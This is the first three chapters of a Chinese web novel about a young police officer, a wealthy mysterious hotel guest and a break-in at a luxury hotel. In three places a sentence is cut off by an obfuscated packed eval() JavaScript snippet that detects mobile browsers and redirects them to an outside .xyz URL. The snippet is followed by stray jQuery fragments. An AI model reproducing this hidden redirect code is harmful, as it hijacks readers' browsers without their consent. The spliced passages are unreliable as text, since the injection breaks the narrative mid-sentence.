《向云端》 1. 第 1 章 雪花自云中诞生,卜一出生就开始飘荡着坠落,落入尘埃,落入污泥,终此一生,或许只有此身消散,才能回到云端…… 笃笃,手指骨节轻轻敲在桌面上。 陈登从推得高高的卷宗里抬起头来,微显怔愣。 李弛和冯佳佳站在桌前低头看他,不约而同地腹诽,这货白长了一张聪明的脸。 “我说哥哥唉,下班啦!”大眼瞪小眼对视了好一阵,李弛无奈道。 “你这都看一天了……”冯佳佳也扁扁嘴,“你别成我们队里第一个读卷宗读傻的吧!” 陈登脑子还没换回来,只下意识地咧嘴给两人当场表演一个没心没肺的八颗牙笑容,一脸清澈的愚蠢。 对面两位默默叹气。 李弛直接上手合上卷宗扒拉他:“行了行了,知道你已经傻了!你说你师父也是,来报到以后不是让你看卷宗,就是支使你去给法医和痕检跑腿,出外勤反倒各种犯怂…”话还没说完,被陈登一把捏住了嘴,嘟成鸭子状。 “我师父是真心疼我,你们不懂。别再说我师父坏话了昂!” “那我师父不也心疼我,也没见这么教啊!” “因材施教懂不?”陈登对李弛一脸认真,转脸对冯佳佳挤挤眼睛,不正经起来,“算了,这孩子属朽木的,咱不跟他计较。” 冯佳佳哭笑不得。 这三人在警校就认识,都是同期的尖子生,毕业后刚好遇上Y省一个市警队升级,从省里各地抽调了不少骨干,导致省里从总队往下一时间都需要补补血,这三人就一并被抢回了省会K市支队。人抢回来之后,支队长老方整个人都灿烂了,一边欣慰我们支队人丁兴旺,子子孙孙无穷尽也,革命工作后继有人,一边回味老战友没能抢过自己时的神情,每顿能多吃两碗饭,被老伴叨两句血糖也不过是甜蜜的负担。 三人被分派给了三位经验丰富的老刑警做徒弟。相对而言,冯佳佳的师父柳鸿霞性情温和,理念也更中庸一些,讲求各方面均衡发展,而李弛和陈登的师父就属于两个极端了。 李弛的师父陆明飞认为,小兔崽子们在警校里已经学了太多理论知识,尽会纸上谈兵,到警队就该从实践入手,以打代练,用真实的案件来提升,不然来警队干什么,继续窝在警校啃故纸堆不就行了,来警队还得给你发工资。总而言之一句话:这不是演习!所以李弛来了之后就一直在跟他师父出外勤,回警队干的最多的是查案件的监控资料,主打一个修炼一双火眼金睛。李弛年轻热血,对师父这套实战教学理念自是双手双脚四脚朝天地支持。 陈登的师父叫王敬淳,是个乐呵呵面相的小老头。他在带陈登的第一天,就看着陆明飞和李弛师徒俩往外走的背影,偷偷对陈登说:“咱才不跟他们凑热闹。”他搬来一大叠卷宗,让陈登仔细学习,晚些时候他来考教。陈登很快发现了,整个警队就属老王“滑头”,就连方支队长都会调侃老王,让他别把他那套“奸懒馋滑”传给徒弟,“带坏”年轻人。老王用卷宗占据了他大半的工作时间,并让他珍惜现在还有大把时间能看卷宗,过了新人期就没这由头了。剩下的时间里又有大半,老王会指派他做些跑腿打杂的事,比如给法医室的小周法医送奶茶,给痕检的小孟帮忙搬点存档的证物啥的。老王说年轻人也不能一天到晚只知道学习,也要会玩,和各种人一起玩,绝大多数的朋友和老婆都是玩的时候处起来的。再然后,剩下的时间就不算多了,陈登就喜欢听老王给他忆苦思甜,回忆年轻时的意气风发。老王也是个妙人儿,他倒也不惆怅什么英雄迟暮,也不强调什么英勇无畏,他就喜欢给陈登讲当年他和战友们一群一群地出任务,开开心心地把案子办得漂漂亮亮,一起回来喝庆功酒。陈登每次两手托着腮帮子听,总觉得很快乐,老天能让老王做他的师父,他真的很快乐。 老王在陈登身上所实行的快乐教育,在很多人眼中属于是溺爱典范。方支队长生怕又给警队传帮带出个惯会钻纪律漏洞的小警痞,几次想敲打老王,转头看一眼陈登笑容里纯粹的傻气,就又会把没来得及出口的话咽回去。同期的年轻人里,李弛最不忌讳坦率的表达,他多次为陈登抱不平,觉得老王是在浪费他蹉跎他,替陈登委屈冒酸水,每次被陈登及时止住话头,把情绪带歪过去,等李弛回头反应过来,就更气哼哼了。 今天也是这样,李弛从早上就看见陈登埋在卷宗里,到晚上下班了,还埋着,就生气!很多时候他也不知道自己在气什么,反正就是生气,一个没忍住,就拉上冯佳佳一起来催他下班。陈登这小子,总能把他绕晕,可冯佳佳能让他老实不少。 关键时刻,果然还得看我们警花! 冯佳佳又用好看的骨节敲敲桌子,止住了李弛给陈登锁喉的肘子,让陈登赶紧下班,“午饭的时候你不还说了今晚你姐有事儿找你?” “哦对!”陈登如梦初醒,抬手看了看表,窜起来就往外走。冯佳佳和李弛听到他一句“明天见”的时候已经没了他的影子。 陈登开车赶往市中心的花冠皇庭大酒店。赶上下班时间,路上虽说还没有彻底堵上,但流量也已经不小,导航上的路段已经标成了红色。陈登也没办法,揉了揉后脖颈。他今天约好了下班去琼姐那儿。 琼姐,是师父王敬淳一位族兄的女儿,算来是侄女,也在K市工作,平日里和老王特别亲厚。老王刚开始带陈登时,就到处得瑟自己的宝贝徒弟,带着他见过琼姐。王琼姑娘在本市排名前三的花冠皇庭大酒店做客房经理,样貌姣好,聪明能干,个性却是个爽朗的,放在《水浒传》里估计也是个一丈青。第一次见面,陈登还有点小腼腆,反倒是王琼笑弯了眼,说小帅哥你紧张什么,这又不是相亲。在那之后,陈登和王琼逐渐熟悉,王琼今年也二十六,比陈登稍微大两个月,不客气地当了陈登的“琼姐”。 琼姐伶俐,在单位里人缘也很好。这段时间他们酒店的采购部进了一批品质很不错的食材,琼姐看里面几样菌子着实不错,杵了杵采购部夏经理的小蛮腰,让这位小姐妹用员工价帮她多带了两箱。今晚叫陈登过来,就是要他把菌子拉回去,一箱给老王,一箱给他。 陈登屁颠屁颠赶到酒店,琼姐早就在员工餐厅吃过了,这会儿一掌拍他背上,把他拉去西餐厅。 餐厅服务员小白把例汤端上来的时候,笑嘻嘻地调侃道:“琼姐,你打算保护登哥到什么时候哦?他是什么人我们还能不知道?吃个饭你也要陪着他。” 琼姐哪能不知道她们这些小姑娘,嘴上就喜欢揩油,心里是一个比一个怂包,她眼角早就扫见角落里另外几个西点组的在狗狗祟祟地张望。琼姐抬眼看了看对面还一脸傻气的陈登,对小白笑得促狭:“那可不!这可是你王叔的宝贝疙瘩,我可不敢让他随便进哪个盘丝洞!” 小白抿抿唇,憋着笑跑了。 陈登这货全程就负责冒傻气。 琼姐没眼看:“我说,没别人了,在我面前把你那些傻气收一收。你也就骗骗这些小姑娘,琼姐我能不知道你是真傻假傻啊?” 陈登嘿嘿笑,拿起汤匙喝汤,顾左右而言他:“唔唔!这汤真不错!” 琼姐心里好笑,这小子惯会揣着明白装糊涂。 “小姑娘们啊,就是简单,看见个长得好的就走不动路,口水嘀嗒。” 陈登嘴角弯弯,继续喝汤。 琼姐挑了挑眉,不屑道:“你得意的太早了。她们又不是只看见你这样!说起来,就前天,我们这里来了两个客人,极品!” 陈登没想到这个形容词能从琼姐的嘴里说出来,眼睛都瞪大了,狐疑地问:“极品指的是哪方面?” “各方面!长相、气质、性格、财富……反正你想得到的各方面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615080|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都堪称极品!” “这么强?!” 琼姐从他的盘子里顺走一个羊角包,咬着尖尖,嗯嗯地点头。 “VIP客户,我们酒店现在没人不知道他俩。先是前厅的姑娘在公司群里连发十几条警报花痴他俩,说证件照不及真人之万一。他们入住之后,我们客房的几个姑娘也中招了,已经被迷得不要不要的。昨晚他们叫了一次送餐,接着餐饮部的送餐组也沦陷了……” “传说中的人见人爱,花见花开啊!不对,别是你们员工餐厅给你们煮的菌子没熟吧!” 琼姐托着下巴淡定地看他:“你再大声说一遍。我们主厨就在你后边,你让他听听。” 陈登一秒都没犹豫,把脸埋到了汤里。 五星级酒店的餐品是很不错的。陈登不是美食爱好者,但不妨碍他得出“好吃”的结论。琼姐看他吃得开心,也挺高兴,晚饭吃完就把两箱菌子交给他,送他到地库,让他搬上车。 陈登挥别琼姐,慢悠悠往出口兜过去。放松的陈登暗暗感叹:高级酒店的地库就是大啊,单行车道的宽度也足够两辆车并行。 这时候正是临近晚间活动结束的回巢时间,能见到不少车来来去去。陈登习惯性观察环境。一辆车停进车位,后备箱掀开,正在卸行李箱,一辆正在出库,还有一辆一看就知道大概是整个停车场里最贵的黑色商务车,正在斜斜地往柱子边的车位里倒。 陈登的车往这根柱子边缓缓挪过去。视野中,柱子渐渐后移。 黑色商务车的角度有些不够,司机停下,打算往前再调整一把方向盘。 出库的车进入主车道后跟在了陈登车后,可车主突然把车头向外侧拉,拱着陈登的车屁股想超车,陈登的注意力被拉到车后,好脾气地往内侧靠了靠,让出了一半的车道。 后车超车后扬长而去。 不远处,卸完行李箱的女车主一抬头,找了一圈,喊:“囡囡?” 陈登的注意力终于又放到了前头,车头刚好开过柱子,视线再不受遮挡。 就在这时,他惊出一身冷汗。柱子前面不远处站着一个两三岁的小豆丁,而那辆商务车正对孩子的方向而来!司机可能根本没有看见孩子!他在盲区里! 更可怕的是孩子并没有意识到危险,望着靠近的车头,站着一动不动。 陈登肾上腺素要爆了!手按上喇叭,不,不能按,会吓到孩子!他当即把自己的车头方向打弯,避过孩子,冲着商务车大灯顶了过去。商务车反应相当迅速,两车都是一个急刹! 陈登摸着额头长出一口气,好险,差点就亲上了。两个深呼吸让他终于缓过劲,赶紧下车。 几乎在同一时间,商务车上也下来一个男人,金发碧眼,高大挺拔,相当帅气的类型。他一下车就看见了车前站着的孩子,一愣神,马上就明白了眼前的状况,回过头看向商务车内。后座车窗放下一半,他对着里面的人轻声说了几句。 一下车,陈登就开始陪笑。虽然还没有对话,可对方显然已经知道发生了什么,但不管人家商务车会不会领陈登的情,态度好一点总没错。这车太贵,刮起块漆皮就赔不起,陈登暗想。 趁着对方正在跟他家老板说话,陈登走到孩子面前蹲下,确认孩子没有受伤,大概因为太小了,真的意识不到危险,也没有受到惊吓。 不远处的那位女车主也被这边两车相对的情况吸引了过来,这才发现自家孩子,一时间惊得吱哇乱叫,扔掉行李箱飞奔着过来一把搂过孩子,后怕得发抖。 陈登放下心来,抬头顺着外国帅哥的视线往商务车后座上望了一眼,心想车里的大概是他老板吧。哦豁!只见放下一半的车窗内,是一个戴着金丝眼镜的年轻男子,头发乌黑,眉眼深邃,下半张脸被贴了防窥的车窗遮住,但只这双眼睛就让人印象深刻,过目难忘! 2. 第 2 章 车内的男人大概感觉到了陈登的视线,看了过来。好敏锐!陈登赶紧笑出八颗牙,对方有些怔愣,眨了眨眼,然后点头致意。也没有听清楚他对外国帅哥说了什么,车窗就缓缓升起。 那位外国帅哥先看了陈登一眼,挑着眉毛歪了歪脑袋,无奈和无语表现得淋漓尽致。他先是走向那对母子,温言安慰,一开口竟然是挺标准的普通话,声音也挺好听。也不知道是不是被那双碧蓝色的桃花眼催眠了,女车主很快不再发抖,只是盯着那外国帅哥眼神还是有些发直,最后接过外国帅哥的名片,女车主抱着孩子晕晕乎乎地走了。陈登严重怀疑她脑子已经一团浆糊。被抱在肩上的孩子还瞪大了豆豆眼,肉乎乎的小手从嘴里抽出来,朝他俩byebye。 “好了,先生,现在轮到我们聊聊了。”外国帅哥给了小奶娃一个飞吻之后,回过头来微笑对陈登,“首先,我必须要说,您的英勇和机智实在让人钦佩,您避免了一场可怕的悲剧。”他伸出手,欣然介绍自己,“史蒂文,见到你很高兴。”他的口音很正,只是不知道怎么学的,说话方式还带点翻译腔。 “我叫陈登。你的中文非常棒!” “谢谢,我也一直为此感到很自豪!” “刚才的事情,很抱歉……”嘴上说着抱歉,不过史蒂文一开口没有追究他危险驾驶,陈登就已经彻底放心了。这显然是他老板的意思,这也让陈登对后座上这位年轻的老板生出些许好奇。 “不不不,你不需要道歉。事实上我的老板和我,我们所有人都很感谢你。”他用手比划了一圈,“你看,所有人都很安全,财物也没有任何损失,一切都很好,完美。” 陈登下意识回头又看了眼紧闭车窗的商务车,防窥的车窗黑漆漆的,什么也看不到。 史蒂文伸长手臂一把揽过陈登,继续说道:“兄弟,我老板说了,感谢不能只停留在口头上,所以我们交换个联系方式如何?至少改天请你吃顿饭,交个朋友嘛!” 晚风从微开的车窗缝中吹进来,陈登跟着播放器里的音乐哼着,载着琼姐的菌子,去师父家,师母大概又会给他塞一大包水果和糕点。 非常好,陈登很庆幸这次碰上的人都不错,所以说也不是所有的有钱人都为富不仁,骄奢淫逸。那个史蒂文身材非常好,刚刚被他的手臂揽着肩,能感觉出来这家伙手臂肌肉练得很不错,核心也很强,大概练过拳击吧!白人精英不是都挺喜欢健身么!陈登一路上想着,想着想着不自觉的又回想起那双车窗后的眼睛。 他应该是……至少是有大半大华血统,他的骨骼特征更符合大华南方人群,但和东南亚人群又有着明显的差异。要不是有一位史蒂文这么个白人做特别助理,陈登根本不会怀疑他可能是混血。没错,他有着一张大华血统的脸,而且看起来比那位“特别助理”史蒂文先生要年轻不少,这种情况现在常见吗?怎么看这个组合好像都有些出人意料,如果是个老先生带一个欧美特助……唔,可能是哪家公子哥儿吧!嗨,我为什么那么在意那双眼睛?陈登不知道哪里不对,反正就是对那双眼睛异常在意。是眼神吗?他稀里糊涂地想。 酒店套房内,史蒂文正带人例行检查确认房间的安全情况。车中的那位年轻男人——他的老板,则独自坐在沙发上看着手中半杯矿泉水半天没说话。 他知道,他一直也是这么告诫自己的,他不该心存侥幸,他不会那么幸运。 “Boss,一切正常。”史蒂文勾着嘴角走过来,带点散漫地半坐在了沙发扶手上。 路易这才回神。 “Louie,有什么问题么?”史蒂文问道。 “……没什么。” 史蒂文深深看了他一眼,一双桃花眼难得认真,“你很少这样。” 路易把水杯放到茶几上,手指交叉握起,“今晚那个男人,你去查一查,越详细越好。” “你不放心他?”史蒂文歪着头,“查他没问题,不过我们在这里没有太多可靠的人手,会慢一点。” “尽快吧。” “了解。”史蒂文转身走出房间。 路易放松身体,随意地摘掉眼镜,靠在沙发上,喉结动了动。 世事无常。命运看似有迹可循,却总是出乎意料。这世上从古到今,茫茫多的人,总是眼看他起高楼,眼看他宴宾客,眼看他楼塌了…… 路易是个悲观主义者,他在很久以前就对自己的命运不再抱有期望。他坚信,曾经拥有的一切都会被命运收回,他终将一无所有。史蒂文对这些始终无法理解,他只能理解为“人们终将死去”。路易不会对他解释,因为知道解释也没有用,他们是完全不同的人,不必强求别人理解。 就好像今晚的事,无需解释什么,怎样都好。 好在史蒂文也没有多问。从他们认识起,他就是位可靠的助手,交给他的事总能办妥。 “你见到他俩了?!”王琼声音里透着兴奋,“怎么样?我说得没错吧,这俩货是不是绝了!” “我只是猜,你们酒店的地库里就这么一辆好几百万级别的商务车,应该就是你说的VIP客户吧。”陈登并不想显得自己很八卦,他只是跟王琼汇报一下菌子已经于昨晚送达师父家,顺嘴提一句差点在地库撞上人,好在对方通情达理。“跟我交涉的是史蒂文,那个外国助理。” “对对,他是特别助理,中文水平很不错,跟我还对过一次房务,提了点个性化需求,都还挺普通的小要求。他们对我们服务员都还挺客气。也就因为他们教养很好,搞得有几个小姑娘特别花痴。我跟你说,这个助理还属于伸手能摸到的范畴,他老板就纯粹是个禁欲系,长相清贵话不多,一双眼睛看过来的时候,哎呀妈呀……”王琼可能自己都没发觉,她聊起那两位有点收不住。 陈登忍不住打断她:“我没见到那个老板,不对,我就看见他半张脸,他没下车。只能看出他是个男的,我都不知道他是不是外国人。” “唔……原则上,我们其实不该对外透露客人的情况……不过配合人民警察的工作嘛,对吧!”琼姐一点不担心陈登泄密啥的,对人民警察说话,那能叫泄露客人隐私吗?读书人的事,能算偷么?“他俩都是合众国籍,不过助理史蒂文是土生土长的,小老板叫路易,是华人。他们这次来我们这儿是为了考察投资项目,还得住一段时间呢。史蒂文想跟你交朋友就交呗,至少他们能请你吃顿大餐!” 陈登对王琼这种实用主义精神佩服得五体投地。“我又不是骗吃的……” “行了,先不说了,我一会儿还要去找史蒂文。” “不是,你别啊,我不想敲他们竹杠!” “想哪儿去了!你琼姐我要找他们说说升房的事儿,谁管你敲不敲竹杠啊哈哈!” “升房?他们不是你们近期最尊贵的客人么?没住最贵的房间?” “对呀。”王琼应得很坦然,“本来史蒂文订房的时候想要总统套,可是他们行程的头几天里,我们的总统套都是满房的,他们又不想订其他的酒店,就只好先住两天贵宾套了。今天有一套总统套刚清出来,我们总监就说给他们免费升房。别说,总监也是挺喜欢他们,他们挺好说话的,我们一年到头难得遇到几个有钱又省心的客人。”一想到刚退房那位作精,琼姐简直要把眼睛翻上天。同样是人,差距怎么就这么大呢! 陈登笑着挂了电话。琼姐嘴上还吐槽小姑娘们花痴,自己还不是对人家好感满满。女人,口是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615081|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心非的动物。 服务业赚钱是没错,但不好干也是真的。在大家强调了那么多年“顾客就是上帝”之后,如今的思想进化到了管出钱的人叫“爸爸”,主打一个“让有钱的人可以为所欲为”,美其名曰尊重市场,人性化服务,本质上是市场竞争机制下的内卷降临每一个服务业人员的头上。 王琼对于内卷,最直观的感受就是,她确实很久没有遇到过正常的高端客户了。大概“高端”本身就意味着脱离了“正常”的范畴吧。这个“正常”也不过是说,无意愿做任何非亲缘关系上的爹。在王琼朴素的社会道德价值观中,除了亲爹或者真金白银养大儿孙的养父,谁都没有资格被叫爹。可现实世界显然很不朴素。 王琼见过很多让人大跌眼镜的客人,这让她始终保持了一丝警惕。比如前年,她服务过一位大明星,在国内拥趸无数,粉丝恨不能集体趴下用人体给他铺红毯那种。大明星确实无比光鲜,在他入住期间,粉丝们天天在酒店周边摇旗呐喊,他出入永远伴随各种尖叫。可是粉丝们不会知道,他每晚房间里至少两个姑娘过夜,从不重复,夜夜新郎说的就是这位了。他甚至也会用那种物色猎物的眼神在客房服务那几个小姑娘身上逡巡,当王琼发现这一点后就规定这套房的客房服务全排成男服务员,至少要两人组队才能进房服务,并开始给手下的姑娘们天天开课讲正能量,生怕涉世未深的小女孩一个不小心,一失足成千古恨。王琼预感这位客人指不定什么时候得搞出点事情,果不其然。有天晚上,一个姑娘血淋淋从他房内被运出来偷偷地送往医院。怎么送出来而不被人发觉呢?王琼接到安保部消息说客房发出尖叫声赶到的时候,经纪人已经把还在淌着血,神志不清的姑娘塞进了一个大号行李箱,见到王琼和安保经理也没有一丝一毫的慌张,颐指气使地让他们把这行李箱运到地下车库去。场面过于惊悚,而为了确保人是被送往医院,而不是被抛尸,王琼大半夜亲自押车,同时她通知安保部,所有监控都必须正常运行,盯紧这间总统套里的所有畜生。发生这种事的诱因,是这两年在背后支持这位大明星的大老板腻了,那姑娘就成了出气筒。后来做清洁的服务员把各个角落里的血点子全都清洗干净,心有余悸地对王琼说:“琼姐,你是真的为我们好。我们还都以为他是好人呢。” 当然,这并不是酒店开业以来最离谱的客人。酒店从来不缺奇葩的客人,因此每一位不奇葩的客人都值得被尽心对待。 行李在新的房间里被有条不紊地重新归置好,史蒂文在一旁也显得很满意。王琼在和他的工作对接中能感受到,史蒂文是个很有条理和方法的人,难得的能把复杂的事简单化的人。他能明确自己的需求,清晰地传达给合作者,给出可接受的硬性标准,给合作者也预留出相当多自由发挥的空间,且对合作者提供的方案和创意有很好的包容度。和他一起工作是舒适的,还很容易激发工作热情,因为他总会让你觉得你的工作是有价值的。 史蒂文走到落地窗的侧边,随意地挑着窗帘布揉了揉,看了眼窗外的景观,而后勾着嘴角感叹:“Joan,你和你的酒店一样精致可爱!” 这几天来,琼姐已经习惯了史蒂文自行给她取的英文名。听到这句赞美,她自动翻译为客人对酒店的设施和服务都还算满意。至于别的,不要想太多。 王琼把脸侧的一丝碎发挽到耳后,双手交叠在腹前,微笑回应:“您的认可,是我们的荣耀。”完美的酒店礼仪。和窗外夕阳烧红的晚霞一样完美。 王琼从来都是有专业追求的人,她将这份完美一直保持到了深夜,安保经理的电话铃声在床头柜上疯狂地响起的那一刻。那一刻的王琼想的是:天杀的该不是又要出现一只装着人体的行李箱了吧! 3. 第 3 章 夜深人静,月黑风高。 阳台门开着个窄条,内层的白纱窗帘随风飘动,影影绰绰。房间内的壁角里嵌着昏暗的小夜灯,它们对熟睡的客人来说,没什么作用,也就是让还没睡着的人能够逃避一下幽闭空间的恐惧感。 房间装修很豪华,地毯、窗帘、沙发、桌布都看起来很有品味,只是……这房间里,还有些别的什么…… 宋亚琴走南闯北风风雨雨六十多年,挣下偌大一份家业,可她从不认为是自己有着什么过人的商业头脑,或者敏锐的市场嗅觉,这一切全都归功于她的气运。对,宋亚琴敬天敬地敬鬼神,她对一切玄而又玄充满了敬畏。她走遍大江南北,每到一处必要先找当地最灵的庙观拜一拜,添上绝大部分的人难以企及的巨额香油钱。她觉得自己也不贪,不图别的,只为了在当地的神仙那儿挂上个号,保个平安顺遂就行。 她的运气一直很好。虽然一个女人在生意场上有很多不便,但她几乎也没有翻过车,顶多就是吃点小亏交点学费,从来没有伤筋动骨。 之前的行程出了点小状况,她临时取消了一场为期三天的展会行程,直接来了K市,原定的酒店没法腾出房间,转到花冠皇庭大酒店来,发现也只剩一间刚空出来的贵宾套房。宋亚琴撇了撇嘴,狠狠剜了助理一眼,不情不愿地住了进来。 她一进这间房,就觉得哪哪儿都不顺眼,总觉得这房到处都有问题,尤其是,她有一种被窥视的感觉。这种毫无来由的感觉往往难以取信于人。有时候即便是她的儿子都会不耐烦地说,妈,你能别这么神神叨叨的么! 酒店只剩这一间套房,她绝不能接受去住那些档次更低的房间。助理小丫头几乎是哭着对她说,正是K市的旅游旺季,全市的酒店都爆满中,实在是订不到别的房了。宋亚琴这才作罢。 可她心里还是不安定,身边没有人相信她的直觉这一点更加重了她的不安,她即便满身疲惫,躺在床上也没能入睡。 她总在想,那个展会之所以会取消,是因为自己在本该吃素的十五那天,迫于无奈在晚宴上喝了一碗鱼汤吗?好像在那之后,就开始状况不断了。今天刚到K市,还没来得及去拜一拜,明天必须安排上,香油加倍。拜一拜就会好的,说不定明天拜完,就有空出来的好房间了呢! 宋亚琴正胡乱想着,客厅里突然传来一声很轻的声响,脆生生的碰撞声,应该是两件硬物撞在一起!她瞬间警觉。 她抓紧被子又听了会儿,很安静,可她知道自己刚才没有听错。是谁?助理么?不对,文件都放进了保险箱,助理小丫头的电脑之类也都带回她自己卧室了,次卧也有卫生间,这会儿没必要去客厅……不会是…… 宋亚琴轻轻掀开被子,赤脚踩着厚实的长绒地毯,也顾不上穿鞋,蹑手蹑脚往客厅挪过去。走到一半,还是退回来,从床头柜上取了平时随身了十多年的玉佛攥在手上,往客厅摸过去。 客厅里黑漆漆的,几盏小夜灯也只照亮临近的小块区域。好像没什么……一侧吹来一阵凉风。宋亚琴一阵头皮发麻! 有东西!她就知道!这房间就是不干净! 宋亚琴牙齿都抖得打起架来,她信这些信了大半辈子,平平顺顺,就因为那碗造孽的鱼汤!她僵硬地一点点偏过头,入目是那半开的阳台门和飘动的窗帘…… 那一瞬间她才从极度的紧张中解脱出来,呼吸被重新找了回来。宋亚琴心脏砰砰跳着,白天积累下的一身疲惫如潮水般反攻上来,她挨靠上卧室的门框,两腿都有些软。 菩萨是保佑我的!明天一早就让小丫头安排去进香,还要给我换房间,换酒店!无论如何都要换!其他的事情全往后推!对了,小丫头,还在睡吧? 宋亚琴往次卧看去。 次卧在房间另一头。那扇房门还缄默地紧闭着,门口的小夜灯都照不亮下半部分。宋亚琴愤愤地想,睡睡睡,就知道睡!我都睡不好,她倒是会享受!这个助理刚换上半年多,办事情倒是比前一个利索点,就是一点都不贴心,这次回去还是换掉的好。 宋亚琴转身回到卧室,玉佛被她塞进枕头下,翻身上床,闭眼躺好。可是莫名的,她总觉得哪里还是不对。 凉风是因为小丫头忘了关好阳台门,那刚刚的动静又是什么呢?如果说风吹窗帘,导致窗帘拂落了什么东西,地上全是地毯,也不至于发出脆响。所以……那是什么? 宋亚琴一瞬间如诈尸般折起上身,她想起来了,刚才次卧的门,下半部分不是小夜灯照不到,是有一团黑影在那儿! 宋亚琴快要疯了,尖叫声堵在了嗓子眼里,在自己最恐惧的时刻,竟然失声了!惊恐更上了一个等级。 黑影在小丫头门口,他是要先吸了小丫头么?然后呢?然后就会轮到她对吧! 宋亚琴不知道的是,次卧的助理小张也还没睡,年轻人睡前就爱玩手机。在第一声响动时,小张也听到了,这声响离她更近,在她耳中比宋亚琴听得更清晰。她只是没有像宋亚琴那样开门出去观望,而是先悄悄地反锁了自己的房门,然后趴在门边静观其变。 宋亚琴一生过得太过顺遂,有太多的事情是别人已经为她打理好之后,再交到她面前,她没有太多直面危机的经验,早已经丧失了太多正常人类对危险的判断。 事实证明,小张助理反锁房门是多么的明智。很快次卧门锁发出轻响,有人在转动把手,转不动,然后就是硬物插进门锁内滑动的声音。小张助理不知道为什么侵入者不去办公区找保险箱,也不去主卧“擒贼擒王”,而是径直来撬她的次卧。我没得罪什么人呀!但不知道没关系,不影响头脑清晰的小张助理做出正确的判断和对策。 她迅速把死沉的椅子搬来顶住房门,而后,果断按下了床头柜面板上的紧急呼叫。 另一边的宋亚琴哆哆嗦嗦地再次走向了房门。 她这人,脾气不好,但自认良心不坏。虽然现在的助理她并不满意,但思来想去也不能眼睁睁看着脏东西把好好的小丫头给祸害了,更何况,脏东西也不可能放过她自己。这是自救! 宋亚琴终于战胜了恐惧,做出勇敢的决定。她从自己的包里翻找出了一个精美的金刚杵,握在手里,宋亚琴深吸一口气,再次蹑手蹑脚地走出主卧,酒店厚实的地毯很好地隐匿了她的脚步声。 次卧门口的黑影仍然团在那儿,这一次,宋亚琴看清楚了,那是一个男人,扒在次卧门口,正把耳朵贴在门上,专心致志地撬锁。 躲在沙发后面的宋亚琴脑子一时间都木了一下,合着这还是个色鬼!知道主卧住的是老太太,他就直奔着次卧的小姑娘来了! 这世上就没有几个女的会不恶心色鬼的,这一刻属实焚烧理智。 宋亚琴可谓是怒从心头起,恶向胆边生。 一生敬神畏鬼的宋亚琴冲出沙发,以迅雷不及掩耳之势扑向那个“色鬼”。 就在这时,突然警报声大作。 几乎同一时间,门外的安保主管带着一队人直接刷开大门,涌入房间! 门边的男人惊觉,回过头来。 “咚”地一声…… 王琼心惊肉跳地叫了一辆网约车,风驰电掣回到酒店,向在场的警员说明身份后,被带到B618套房门口。 现场热闹非凡。 安保主管已经在给警察同志汇报案发现场的情况了。 王琼在套房门外往里扫了一眼,还好还好,不是血呼呼的。她记得这套贵宾套里就两位女客人,她是真怕又出什么惊悚场面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615082|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王琼往房间里继续张望,年轻的那位张小姐看上去比较平静,在次卧里给警察同志比比划划地说着什么,不过每说几句,她就要停下来深呼吸一下,应该是受到了惊吓,还没缓过来。年长那位宋总没有在客厅里,王琼被一位警员带着,抬脚往这一层里的行政酒廊走去。 还没进门,就看到宋总裹着毯子陷坐在一把简欧风的椅子里,一脸煞白,可精神亢奋得很不正常。她双手紧紧抓着安保总监,高声地说着:“这深更半夜的,直闯小丫头房间的色鬼,就不能放过它!你们一定记得,要赶紧请大师过来,要么收走,要么打得它魂飞魄散,否则它以后肯定还要附身害人,你们这酒店就永无宁日……” 王琼听得一愣一愣,这还是个灵异故事? 安保总监瞥见王琼到了,赶紧给她使眼色,让她进来安抚客人。头疼死了,安抚女客人这种事情他真的做不来!王琼来之前,他一直被这位彪悍的老太太抓着手臂,怎么都掰不开,都青了,手劲儿怎么那么大,难怪抡得动那根大棒槌…… B618套房的阳台上,安保经理正在指着酒店外墙一处给王敬淳和陈登看。 